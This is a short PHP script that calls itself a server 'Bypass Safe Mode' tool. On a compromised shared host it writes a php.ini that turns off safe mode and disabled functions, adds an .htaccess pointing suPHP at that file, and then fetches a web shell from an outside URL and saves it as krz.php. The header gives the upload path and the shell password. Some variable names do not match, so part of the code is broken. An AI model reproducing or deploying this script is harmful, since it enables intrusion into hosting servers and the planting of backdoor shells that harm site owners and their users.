Bypass Safe Mode

<?
/*
 * Title : Bypass Server [ Sfa7 Trick ]
 * Coder : Dr.KroOoZ
 * Greets To : b0x
 * Must Upload Like Here : /home/user/www/ | http://localhost.com/bypass.php
 * Password Shell is :  b374k
 */
# Mkdir
$dir = "mkdir";
$bb = $dir('img');
if($bb){
    echo "[img] => Folder Create Complate !";
} else {
    echo "[img] Error !";
}
# php.ini
$ARGENTINA = fopen('img/php.ini', 'w');
$sec = "safe_mode = OFF
disable_funtions = NONE";
fwrite($img ,$sec);
fclose($img);
if($img){
    echo "<br>[php.ini] => Create Complate !";
} else {
    echo "<br>[php.ini] Error !";
}
# .htaccess
$create = fopen("img/.htaccess", 'w');
$s3c = "suPHP_ConfigPath /home/".get_current_user()."/public_html/img/php.ini";
fwrite($create ,$s3c);
fclose($create);
if($create) {
    echo "<br>[.htaccess] => Create Complate !";
} else {
    echo "<br>[.htaccess] Error !";
}
# Shell
$b37 = 'http://londonachievementprocesses.com/wordpress/wp-content/plugins/corner-ad/help.txt';
$sh = file_get_contents($b37);
$open = fopen('img/krz.php', 'w');
fwrite($open,$sh);
fclose($open);
if($open) {
    echo "<br>[img.php] => Shell Upload Complate !";
} else {
    echo "<br>[img.php] => Error !";
}
?>